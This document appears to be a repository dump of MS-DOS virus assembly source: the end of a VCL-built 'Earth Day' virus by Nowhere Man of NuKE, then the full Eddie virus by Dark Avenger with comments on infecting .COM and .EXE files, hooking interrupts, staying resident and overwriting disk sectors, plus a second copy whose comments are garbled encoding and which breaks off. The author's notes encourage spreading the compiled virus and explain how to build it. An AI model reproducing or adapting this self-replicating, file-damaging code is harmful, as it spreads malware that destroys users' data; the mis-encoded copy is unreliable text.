xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
db 0D9h,095h,0B5h,0D7h,0D0h
get_day proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dl ; Copy day into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_day endp
db 0F6h,028h,099h,0E1h,06Dh
get_month proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dh ; Copy month into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_month endp
db 071h,021h,0B4h,033h,071h
get_year proc near
mov ah,02Ah ; DOS get date function
int 021h
xchg cx,ax ; Transfer the year into AX
ret ; Return to caller
get_year endp
data00 db "Happy Earth Day!!!",13,10,13,10
db "In the spirit of Earth Day,
db "this VIRUS has recycled your hard disk.",13,10,0
vcl_marker db "[VCL]",0 ; VCL creation marker
note db "[Earth Day]",0
db "Nowhere Man, [NuKE] '92",0
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
@@ -0,0 +1,986 @@
;************************
;* *
;* E D D I E *
;* *
;* by Dark Avenger *
;* *
;* 3-JAN-1989 *
;* *
;* version 1.31x *
;* *
;************************
; "Blessed is he who expects nothing, for he shall not be disappointed."
; The original source of one of the first Bulgarian viruses is in front of
; you. As you may notice, it's full of rubbish and bugs, but nevertheless
; the virus has spread surprisingly quickly throughout the country and made a
; quick round the globe. (It's well-known in Eastern and Western Europe, as
; well as in USA.) Due to the anniversary of its creation, the source is
; distributed freely. You have the rights to distribute the source which can
; be charged or free of charge, with the only condition not to modify it.
; The one who intentionally distributes this source modified in any way will
; be punished! Still, the author will be glad if any of you improves it and
; spreads the resulting executive file (i.e., the virus itself). Pay
; attention to the fact that after you assemble the source, the resulting
; .COM file cannot be run. For that purpose you have to create a three byte
; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
; two files. Don't try to place a JMP at the beginning of the source.
; DISCLAIMER: The author does not take any responsability for any damage,
; either direct or implied, caused by the usage or not of this source or of
; the resulting code after assembly. No warranty is made about the product
; functionability or quality.
; I cannot resist to express my special gratitude to my "populizer" Dipl.
; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
; not, helps very much in the spreading of my viruses, in spite of the fact
; that he tries to do just the opposite (writing programs in C has never
; led to any good).
; Greetings to all virus writers!
code segment
assume cs:code,ds:code
copyright:
db 'Eddie lives...somewhere in time!',0
date_stamp:
dd 12239000h
checksum:
db 30
; Return the control to an .EXE file:
; Restores DS=ES=PSP, loads SS:SP and CS:IP.
exit_exe:
mov bx,es
add bx,10h
add bx,word ptr cs:[si+call_adr+2]
mov word ptr cs:[si+patch+2],bx
mov bx,word ptr cs:[si+call_adr]
mov word ptr cs:[si+patch],bx
mov bx,es
add bx,10h
add bx,word ptr cs:[si+stack_pointer+2]
mov ss,bx
mov sp,word ptr cs:[si+stack_pointer]
db 0eah ;JMP XXXX:YYYY
patch:
dd 0
; Returns control to a .COM file:
; Restores the first 3 bytes in the
; beginning of the file, loads SP and IP.
exit_com:
mov di,100h
add si,offset my_save
movsb
movsw
mov sp,ds:[6] ;This is incorrect
xor bx,bx
push bx
jmp [si-11] ;si+call_adr-top_file
; Program entry point
startup:
call relative
relative:
pop si ;SI = $
sub si,offset relative
cld
cmp word ptr cs:[si+my_save],5a4dh
je exe_ok
cli
mov sp,si ;A separate stack is supported for
add sp,offset top_file+100h ;the .COM files, in order not to
sti ;overlap the stack by the program
cmp sp,ds:[6]
jnc exit_com
exe_ok:
push ax
push es
push si
push ds
mov di,si
; Looking for the address of INT 13h handler in ROM-BIOS
xor ax,ax
push ax
mov ds,ax
les ax,ds:[13h*4]
mov word ptr cs:[si+fdisk],ax
mov word ptr cs:[si+fdisk+2],es
mov word ptr cs:[si+disk],ax
mov word ptr cs:[si+disk+2],es
mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h
cmp ax,0f000h ;for diskettes if a hard disk is
jne nofdisk ;available
mov word ptr cs:[si+disk+2],ax
mov ax,ds:[40h*4]
mov word ptr cs:[si+disk],ax
mov dl,80h
mov ax,ds:[41h*4+2] ;INT 41h usually points to the segment,
cmp ax,0f000h ;where the original INT 13h vector is
je isfdisk
cmp ah,0c8h
jc nofdisk
cmp ah,0f4h
jnc nofdisk
test al,7fh
jnz nofdisk
mov ds,ax
cmp ds:[0],0aa55h
jne nofdisk
mov dl,ds:[2]
isfdisk:
mov ds,ax
xor dh,dh
mov cl,9
shl dx,cl
mov cx,dx
xor si,si
findvect:
lodsw ;Occasionally begins with:
cmp ax,0fa80h ; CMP DL,80h
jne altchk ; JNC somewhere
lodsw
cmp ax,7380h
je intchk
jne nxt0
altchk:
cmp ax,0c2f6h ;or with:
jne nxt ; TEST DL,80h
lodsw ; JNZ somewhere
cmp ax,7580h
jne nxt0
intchk:
inc si ;then there is:
lodsw ; INT 40h
cmp ax,40cdh
je found
sub si,3
nxt0:
dec si
dec si
nxt:
dec si
loop findvect
jmp short nofdisk
found:
sub si,7
mov word ptr cs:[di+fdisk],si
mov word ptr cs:[di+fdisk+2],ds
nofdisk:
mov si,di
pop ds
; Check for program is present in memory:
les ax,ds:[21h*4]
mov word ptr cs:[si+save_int_21],ax
mov word ptr cs:[si+save_int_21+2],es
push cs
pop ds
cmp ax,offset int_21
jne bad_func
xor di,di
mov cx,offset my_size
scan_func:
lodsb
scasb
jne bad_func
loop scan_func
pop es
jmp go_program
; Move the program to the top of memory:
; (it's full of rubbish and bugs here)
bad_func:
pop es
mov ah,49h
int 21h
mov bx,0ffffh
mov ah,48h
int 21h
sub bx,(top_bz+my_bz+1ch-1)/16+2
jc go_program
mov cx,es
stc
adc cx,bx
mov ah,4ah
int 21h
mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
stc
sbb es:[2],bx
push es
mov es,cx
mov ah,4ah
int 21h
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:[1],8
call mul_16
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call mul_16
add ax,ds:[6]
adc dx,0
sub ax,bx
sbb dx,cx
jc mem_ok
sub ds:[6],ax ;Reduction of the segment size
mem_ok:
pop si
push si
push ds
push cs
xor di,di
mov ds,di
lds ax,ds:[27h*4]
mov word ptr cs:[si+save_int_27],ax
mov word ptr cs:[si+save_int_27+2],ds
pop ds
mov cx,offset aux_size
rep movsb
xor ax,ax
mov ds,ax
mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
mov ds:[21h*4+2],es
mov ds:[27h*4],offset int_27
mov ds:[27h*4+2],es
mov word ptr es:[filehndl],ax
pop es
go_program:
pop si
; Smash the next disk sector:
xor ax,ax
mov ds,ax
mov ax,ds:[13h*4]
mov word ptr cs:[si+save_int_13],ax
mov ax,ds:[13h*4+2]
mov word ptr cs:[si+save_int_13+2],ax
mov ds:[13h*4],offset int_13
add ds:[13h*4],si
mov ds:[13h*4+2],cs
pop ds
push ds
push si
mov bx,si
lds ax,ds:[2ah]
xor si,si
mov dx,si
scan_envir: ;Fetch program's name
lodsw ;(with DOS 2.x it doesn't work anyway)
dec si
test ax,ax
jnz scan_envir
add si,3
lodsb
; The following instruction is complete nonsense. Try to enter a drive &
; directory path in lowercase, then run an infected program from there.
; As a result of an error here and an error in DOS the next sector is not
; smashed. Two memory bytes are smashed instead, most probably onto the
; infected program.
sub al,'A'
mov cx,1
push cs
pop ds
add bx,offset int_27
push ax
push bx
push cx
int 25h
pop ax
pop cx
pop bx
inc byte ptr [bx+0ah]
and byte ptr [bx+0ah],0fh ;It seems that 15 times doing
jnz store_sec ;nothing is not enough for some.
mov al,[bx+10h]
xor ah,ah
mul word ptr [bx+16h]
add ax,[bx+0eh]
push ax
mov ax,[bx+11h]
mov dx,32
mul dx
div word ptr [bx+0bh]
pop dx
add dx,ax
mov ax,[bx+8]
add ax,40h
cmp ax,[bx+13h]
jc store_new
inc ax
and ax,3fh
add ax,dx
cmp ax,[bx+13h]
jnc small_disk
store_new:
mov [bx+8],ax
store_sec:
pop ax
xor dx,dx
push ax
push bx
push cx
int 26h
; The writing through this interrupt is not the smartest thing, because it
; can be intercepted (what Vesselin Bontchev has managed to notice).
pop ax
pop cx
pop bx
pop ax
cmp byte ptr [bx+0ah],0
jne not_now
mov dx,[bx+8]
pop bx
push bx
int 26h
small_disk:
pop ax
not_now:
pop si
xor ax,ax
mov ds,ax
mov ax,word ptr cs:[si+save_int_13]
mov ds:[13h*4],ax
mov ax,word ptr cs:[si+save_int_13+2]
mov ds:[13h*4+2],ax
pop ds
pop ax
cmp word ptr cs:[si+my_save],5a4dh
jne go_exit_com
jmp exit_exe
go_exit_com:
jmp exit_com
int_24:
mov al,3 ;This instruction seems unnecessary
iret
; INT 27h handler (this is necessary)
int_27:
pushf
call alloc
popf
jmp dword ptr cs:[save_int_27]
; During the DOS functions Set & Get Vector it seems that the virus has not
; intercepted them (this is a doubtful advantage and it is a possible
; source of errors with some "intelligent" programs)
set_int_27:
mov word ptr cs:[save_int_27],dx
mov word ptr cs:[save_int_27+2],ds
popf
iret
set_int_21:
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
popf
iret
get_int_27:
les bx,dword ptr cs:[save_int_27]
popf
iret
get_int_21:
les bx,dword ptr cs:[save_int_21]
popf
iret
exec:
call do_file
call alloc
popf
jmp dword ptr cs:[save_int_21]
db 'Diana P.',0
; INT 21h handler. Infects files during execution, copying, browsing or
; creating and some other operations. The execution of functions 0 and 26h
; has bad consequences.
int_21:
push bp
mov bp,sp
push [bp+6]
popf
pop bp
pushf
call ontop
cmp ax,2521h
je set_int_21
cmp ax,2527h
je set_int_27
cmp ax,3521h
je get_int_21
cmp ax,3527h
je get_int_27
cld
cmp ax,4b00h
je exec
cmp ah,3ch
je create
cmp ah,3eh
je close
cmp ah,5bh
jne not_create
create:
cmp word ptr cs:[filehndl],0;May be 0 if the file is open
jne dont_touch
call see_name
jnz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push es
push cs
pop es
push si
push di
push cx
push ax
mov di,offset filehndl
stosw
mov si,dx
mov cx,65
move_name:
lodsb
stosb
test al,al
jz all_ok
loop move_name
mov word ptr es:[filehndl],cx
all_ok:
pop ax
pop cx
pop di
pop si
pop es
go_exit:
popf
jnc int_exit ;JMP
close:
cmp bx,word ptr cs:[filehndl]
jne dont_touch
test bx,bx
jz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push ds
push cs
pop ds
push dx
mov dx,offset filehndl+2
call do_file
mov word ptr cs:[filehndl],0
pop dx
pop ds
jmp go_exit
not_create:
cmp ah,3dh
je touch
cmp ah,43h
je touch
cmp ah,56h ;Unfortunately, the command inter-
jne dont_touch ;preter does not use this function
touch:
call see_name
jnz dont_touch
call do_file
dont_touch:
call alloc
popf
call function
int_exit:
pushf
push ds
call get_chain
mov byte ptr ds:[0],'Z'
pop ds
popf
dummy proc far ;???
ret 2
dummy endp
; Checks whether the file is .COM or .EXE.
; It is not called upon file execution.
see_name:
push ax
push si
mov si,dx
scan_name:
lodsb
test al,al
jz bad_name
cmp al,'.'
jnz scan_name
call get_byte
mov ah,al
call get_byte
cmp ax,'co'
jz pos_com
cmp ax,'ex'
jnz good_name
call get_byte
cmp al,'e'
jmp short good_name
pos_com:
call get_byte
cmp al,'m'
jmp short good_name
bad_name:
inc al
good_name:
pop si
pop ax
ret
; Converts into lowercase (the subroutines are a great thing).
get_byte:
lodsb
cmp al,'C'
jc byte_got
cmp al,'Y'
jnc byte_got
add al,20h
byte_got:
ret
; Calls the original INT 21h.
function:
pushf
call dword ptr cs:[save_int_21]
ret
; Arrange to infect an executable file.
do_file:
push ds ;Save the registers in stack
push es
push si
push di
push ax
push bx
push cx
push dx
mov si,ds
xor ax,ax
mov ds,ax
les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack
push es ;and changes them with what is needed
push ax
mov ds:[24h*4],offset int_24
mov ds:[24h*4+2],cs
les ax,ds:[13h*4]
mov word ptr cs:[save_int_13],ax
mov word ptr cs:[save_int_13+2],es
mov ds:[13h*4],offset int_13
mov ds:[13h*4+2],cs
push es
push ax
mov ds,si
xor cx,cx ;Arranges to infect Read-only files
mov ax,4300h
call function
mov bx,cx
and cl,0feh
cmp cl,bl
je dont_change
mov ax,4301h
call function
stc
dont_change:
pushf
push ds
push dx
push bx
mov ax,3d02h ;Now we can safely open the file
call function
jc cant_open
mov bx,ax
call disease
mov ah,3eh ;Close it
call function
cant_open:
pop cx
pop dx
pop ds
popf
jnc no_update
mov ax,4301h ;Restores file's attributes
call function ;if they were changed (just in case)
no_update:
xor ax,ax ;Restores INT 13h and INT 24h
mov ds,ax
pop ds:[13h*4]
pop ds:[13h*4+2]
pop ds:[24h*4]
pop ds:[24h*4+2]
pop dx ;Register restoration
pop cx
pop bx
pop ax
pop di
pop si
pop es
pop ds
ret
; This routine is the working horse.
disease:
push cs
pop ds
push cs
pop es
mov dx,offset top_save ;Read the file beginning
mov cx,18h
mov ah,3fh
int 21h
xor cx,cx
xor dx,dx
mov ax,4202h ;Save file length
int 21h
mov word ptr [top_save+1ah],dx
cmp ax,offset my_size ;This should be top_file
sbb dx,0
jc stop_fuck_2 ;Small files are not infected
mov word ptr [top_save+18h],ax
cmp word ptr [top_save],5a4dh
jne com_file
mov ax,word ptr [top_save+8]
add ax,word ptr [top_save+16h]
call mul_16
add ax,word ptr [top_save+14h]
adc dx,0
mov cx,dx
mov dx,ax
jmp short see_sick
com_file:
cmp byte ptr [top_save],0e9h
jne see_fuck
mov dx,word ptr [top_save+1]
add dx,103h
jc see_fuck
dec dh
xor cx,cx
; Check if the file is properly infected
see_sick:
sub dx,startup-copyright
sbb cx,0
mov ax,4200h
int 21h
add ax,offset top_file
adc dx,0
cmp ax,word ptr [top_save+18h]
jne see_fuck
cmp dx,word ptr [top_save+1ah]
jne see_fuck
mov dx,offset top_save+1ch
mov si,dx
mov cx,offset my_size
mov ah,3fh
int 21h
jc see_fuck
cmp cx,ax
jne see_fuck
xor di,di
next_byte:
lodsb
scasb
jne see_fuck
loop next_byte
stop_fuck_2:
ret
see_fuck:
xor cx,cx ;Seek to the end of file
xor dx,dx
mov ax,4202h
int 21h
cmp word ptr [top_save],5a4dh
je fuck_exe
add ax,offset aux_size+200h ;Watch out for too big .COM files
adc dx,0
je fuck_it
ret
; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
fuck_exe:
mov dx,word ptr [top_save+18h]
neg dl
and dx,0fh
xor cx,cx
mov ax,4201h
int 21h
mov word ptr [top_save+18h],ax
mov word ptr [top_save+1ah],dx
fuck_it:
mov ax,5700h ;Get file's date
int 21h
pushf
push cx
push dx
cmp word ptr [top_save],5a4dh
je exe_file ;Very clever, isn't it?
mov ax,100h
jmp short set_adr
exe_file:
mov ax,word ptr [top_save+14h]
mov dx,word ptr [top_save+16h]
set_adr:
mov di,offset call_adr
stosw
mov ax,dx
stosw
mov ax,word ptr [top_save+10h]
stosw
mov ax,word ptr [top_save+0eh]
stosw
mov si,offset top_save ;This offers the possibilities to
movsb ;some nasty programs to restore
movsw ;exactly the original length
xor dx,dx ;of the .EXE files
mov cx,offset top_file
mov ah,40h
int 21h ;Write the virus
jc go_no_fuck ;(don't trace here)
xor cx,ax
jnz go_no_fuck
mov dx,cx
mov ax,4200h
int 21h
cmp word ptr [top_save],5a4dh
je do_exe
mov byte ptr [top_save],0e9h
mov ax,word ptr [top_save+18h]
add ax,startup-copyright-3
mov word ptr [top_save+1],ax
mov cx,3
jmp short write_header
go_no_fuck:
jmp short no_fuck
; Construct the .EXE file's header
do_exe:
call mul_hdr
not ax
not dx
inc ax
jne calc_offs
inc dx
calc_offs:
add ax,word ptr [top_save+18h]
adc dx,word ptr [top_save+1ah]
mov cx,10h
div cx
mov word ptr [top_save+14h],startup-copyright
mov word ptr [top_save+16h],ax
add ax,(offset top_file-offset copyright-1)/16+1
mov word ptr [top_save+0eh],ax
mov word ptr [top_save+10h],100h
add word ptr [top_save+18h],offset top_file
adc word ptr [top_save+1ah],0
mov ax,word ptr [top_save+18h]
and ax,1ffh
mov word ptr [top_save+2],ax
pushf
mov ax,word ptr [top_save+19h]
shr byte ptr [top_save+1bh],1
rcr ax,1
popf
jz update_len
inc ax
update_len:
mov word ptr [top_save+4],ax
mov cx,18h
write_header:
mov dx,offset top_save
mov ah,40h
int 21h ;Write the file beginning
no_fuck:
pop dx
pop cx
popf
jc stop_fuck
mov ax,5701h ;Restore the original file date
int 21h
stop_fuck:
ret
; The following is used by the INT 21h and INT 27h handlers in connection
; to the program hiding in memory from those who don't need to see it.
; The whole system is absurd and meaningless and it is also another source
; for program conflicts.
alloc:
push ds
call get_chain
mov byte ptr ds:[0],'M'
pop ds
; Assures that the program is the first one in the processes,
; which have intercepted INT 21h (yet another source of conflicts).
ontop:
push ds
push ax
push bx
push dx
xor bx,bx
mov ds,bx
lds dx,ds:[21h*4]
cmp dx,offset int_21
jne search_segment
mov ax,ds
mov bx,cs
cmp ax,bx
je test_complete
; Searches the segment of the sucker who has intercepted INT 21h, in
; order to find where it has stored the old values and to replace them.
; Nothing is done for INT 27h.
xor bx,bx
search_segment:
mov ax,[bx]
cmp ax,offset int_21
jne search_next
mov ax,cs
cmp ax,[bx+2]
je got_him
search_next:
inc bx
jne search_segment
je return_control
got_him:
mov ax,word ptr cs:[save_int_21]
mov [bx],ax
mov ax,word ptr cs:[save_int_21+2]
mov [bx+2],ax
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
xor bx,bx
; Even if he has not saved them in the same segment, this won't help him.
return_control:
mov ds,bx
mov ds:[21h*4],offset int_21
mov ds:[21h*4+2],cs
test_complete:
pop dx
pop bx
pop ax
pop ds
ret
; Fetch the segment of the last MCB
get_chain:
push ax
push bx
mov ah,62h
call function
mov ax,cs
dec ax
dec bx
next_blk:
mov ds,bx
stc
adc bx,ds:[3]
cmp bx,ax
jc next_blk
pop bx
pop ax
ret
; Multiply by 16
mul_hdr:
mov ax,word ptr [top_save+8]
mul_16:
mov dx,10h
mul dx
ret
db 'This program was written in the city of Sofia '
db '(C) 1988-89 Dark Avenger',0
; INT 13h handler.
; Calls the original vectors in BIOS, if it's a writing call
int_13:
cmp ah,3
jnz subfn_ok
cmp dl,80h
jnc hdisk
db 0eah ;JMP XXXX:YYYY
my_size: ;--- Up to here comparison
disk: ; with the original is made
dd 0
hdisk:
db 0eah ;JMP XXXX:YYYY
fdisk:
dd 0
subfn_ok:
db 0eah ;JMP XXXX:YYYY
save_int_13:
dd 0
call_adr:
dd 100h
stack_pointer:
dd 0 ;The original value of SS:SP
my_save:
int 20h ;The original contents of the first
nop ;3 bytes of the file
top_file: ;--- Up to here the code is written
filehndl equ $ ; in the files
filename equ filehndl+2 ;Buffer for the name of the opened file
save_int_27 equ filename+65 ;Original INT 27h vector
save_int_21 equ save_int_27+4 ;Original INT 21h vector
aux_size equ save_int_21+4 ;--- Up to here is moved into memory
top_save equ save_int_21+4 ;Beginning of the buffer, that contains
; - The first 24 bytes read from file
; - File length (4 bytes)
; - The last bytes of the file
; (my_size bytes)
top_bz equ top_save-copyright
my_bz equ my_size-copyright
code ends
end
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+977
View File
@@ -0,0 +1,977 @@
;************************
;* *
;* E D D I E *
;* *
;* by Dark Avenger *
;* *
;* 3-JAN-1989 *
;* *
;* version 1.31x *
;* *
;************************
; "Blessed is he who expects nothing, for he shall not be disappointed."
; °¥¤ ¢ ± ±²®¨ ®°¨£¨­ «­¨¿² ²¥ª±² ­  ¥¤¨­ ®² ¯º°¢¨²¥ ¡º«£ °±ª¨ ¢¨°³±¨. Š ª²®
; ¬®¦¥ ¡¨ ¹¥ § ¡¥«¥¦¨²¥, ²®© ¥ ¯º«¥­ ± £«³¯®±²¨ ¨ £°¥¸ª¨, ­® ¢º¯°¥ª¨ ²®¢  ­¥
; ± ¬® ·¥ ±¥ ° §¯°®±²° ­¨ ³·³¤¢ ¹® ¡º°§® ¨§ ±²° ­ ² , ­® ¨ ³±¯¿ §  ª° ²ª® ¢°¥¬¥
; ¤  ®¡¨ª®«¨ ±¢¥²  (’®© ¥ ° §¯°®±²° ­¥­ ª ª²® ¢ ˆ§²®·­  ¨ ‡ ¯ ¤­  …¢°®¯ , ² ª  ¨
; ¢ €¬¥°¨ª ). ’¥ª±²º² ±¥ ° §¯°®±²° ­¿¢  ­ ¯º«­® ±¢®¡®¤­® ¯® ±«³· © 1 £®¤¨­  ®²
; § ¢º°¸¢ ­¥²® ­  ¡ §®¢ ²  ¬³ ¢¥°±¨¿. ‚¨¥ ¨¬ ²¥ ¯° ¢® ¤  ° §¯°®±²° ­¿¢ ²¥
; ²¥ª±²  ª ª²® ¡¥§¯« ²­®, ² ª  ¨ ±°¥¹³ § ¯« ¹ ­¥ ± ¥¤¨­±²¢¥­®²® ³±«®¢¨¥ ²®©
; ¨§®¡¹® ¤  ­¥ ¥ ¯°®¬¥­¿­. Š®©²® ³¬¨¸«¥­® ° §¯°®±²° ­¿¢  ¯°®¬¥­¥­ ¯® ­¿ª ªº¢
; ­ ·¨­ ²¥ª±², ¢º°¸¨ ²®¢  ¯°®²¨¢ ¦¥« ­¨¥²® ­   ¢²®°  ¨ ¹¥ ¡º¤¥ ­ ª § ­! ‚º¯°¥ª¨
; ²®¢ ,  ¢²®°º² ¹¥ ±¥ ° ¤¢   ª® ­¿ª®© ®² ¢ ± ¨§¢º°¸¨ ¯®¤®¡°¥­¨¿ ¢ ²¥ª±²  ¨
; ° §¯°®±²° ­¿¢  ¯®«³·¥­¨¿ ¨§¯º«­¨¬ ´ ©« (².¥. ± ¬¨¿² ¢¨°³±). Ž¡º°­¥²¥
; ¢­¨¬ ­¨¥, ·¥ ±«¥¤  ±¥¬¡«¨° ­¥²® ¯®«³·¥­¨¿² .COM ´ ©« ­¥ ¬®¦¥ ¤  ¡º¤¥
; ±² °²¨° ­. ‡  ¶¥«²  ²°¿¡¢  ¤  ±º§¤ ¤¥²¥ ´ ©« ± ¤º«¦¨­  3 ¡ ©² , ±º¤º°¦ ¹
; ¸¥±²­ ©±¥²¨·­¨²¥ ·¨±«  0e9h, 68h, 0 ¨ ±«¥¤ ²®¢  ¤  ®¡¥¤¨­¨²¥ ¤¢ ²  ´ ©« . ¥
; ±¥ ®¯¨²¢ ©²¥ ¤  ¯®±² ¢¨²¥ ¨­±²°³ª¶¨¿ JMP ¢ ­ · «®²® ­  ²¥ª±² .
; …„“…†„…ˆ…: €¢²®°º² ­¥ ¯®¥¬  ­¨ª ª¢  ®²£®¢®°­®±² §  ¤¨°¥ª²­® ¨«¨
; ¨­¤¨°¥ª²­® ­ ­¥±¥­¨ ¹¥²¨, ¯°¥¤¨§¢¨ª ­¨ ®² ¨§¯®«§¢ ­¥²® ¨«¨ ­¥¨§¯®«§³¢ ­¥²® ­ 
; ²®§¨ ²¥ª±² ¨«¨ ­  ¯®«³·¥­¨¿ ¯°¨  ±¥¬¡«¨° ­¥ ª®¤. ¨ª ª¢  £ ° ­¶¨¿ ­¥ ±¥ ¤ ¢ 
; §  ´³­ª¶¨®­¨° ­¥²® ¨«¨ ª ·¥±²¢®²® ­  ¯°®¤³ª² .
; ¥ ¬®£  ¤  ­¥ ±¥ ¢º§¤º°¦  ¤  ¨§ª ¦  ±¯¥¶¨ «­ ²  ±¨ ¡« £®¤ °­®±² ­  ¬®¿
; ¯®¯³«¿°¨§ ²®° ¨­¦. ‚¥±¥«¨­ ®­·¥¢, ª®©²® ¬¨ ¯° ¢¨ £®«¿¬  °¥ª« ¬  ¨ ®±¢¥­
; ²®¢ , ¨±ª ©ª¨ ¨«¨ ­¥, ²®© ±º¤¥©±²¢³¢  ¬­®£® §  ° §¯°®±²° ­¿¢ ­¥²® ­  ¬®¨²¥
; ¢¨°³±¨ ¢º¯°¥ª¨, ·¥ ±¥ ®¯¨²¢  ¤  ¯° ¢¨ ²®·­® ®¡° ²­®²® (¯¨± ­¥²® ­  ¯°®£° ¬¨ ­ 
; C ­¨ª®£® ­¥ ¥ ¤®¢¥«® ¤® ¤®¡°®).
; ®§¤° ¢¨ ­  ¢±¨·ª¨ ¢¨°³±®¯¨± ·¨!
code segment
assume cs:code,ds:code
copyright:
db 'Eddie lives...somewhere in time!',0
date_stamp:
dd 12239000h
checksum:
db 30
; ‚°º¹ ­¥ ­  ³¯° ¢«¥­¨¥²® ­  .EXE ´ ©«:
; ‚º§±² ­®¢¿¢  DS=ES=PSP, § °¥¦¤  SS:SP ¨ CS:IP.
exit_exe:
mov bx,es
add bx,10h
add bx,word ptr cs:[si+call_adr+2]
mov word ptr cs:[si+patch+2],bx
mov bx,word ptr cs:[si+call_adr]
mov word ptr cs:[si+patch],bx
mov bx,es
add bx,10h
add bx,word ptr cs:[si+stack_pointer+2]
mov ss,bx
mov sp,word ptr cs:[si+stack_pointer]
db 0eah ;JMP XXXX:YYYY
patch:
dd 0
; ‚°º¹ ­¥ ­  ³¯° ¢«¥­¨¥²® ­  .COM ´ ©«:
; ‚º§±² ­®¢¿¢  3-²¥ ¡ ©²  ¢ ­ · «®²® ­  ´ ©« , § °¥¦¤  SP ¨ IP.
exit_com:
mov di,100h
add si,offset my_save
movsb
movsw
mov sp,ds:[6] ;’®¢  ¥ ­¥¯° ¢¨«­®
xor bx,bx
push bx
jmp [si-11] ;si+call_adr-top_file
; ‚µ®¤­  ²®·ª  ­  ¯°®£° ¬ ² .
startup:
call relative
relative:
pop si ;SI = $
sub si,offset relative
cld
cmp word ptr cs:[si+my_save],5a4dh
je exe_ok
cli
mov sp,si ;‡  .COM ´ ©«®¢¥²¥ ±¥ ¯®¤¤º°¦  ®²¤¥«¥­
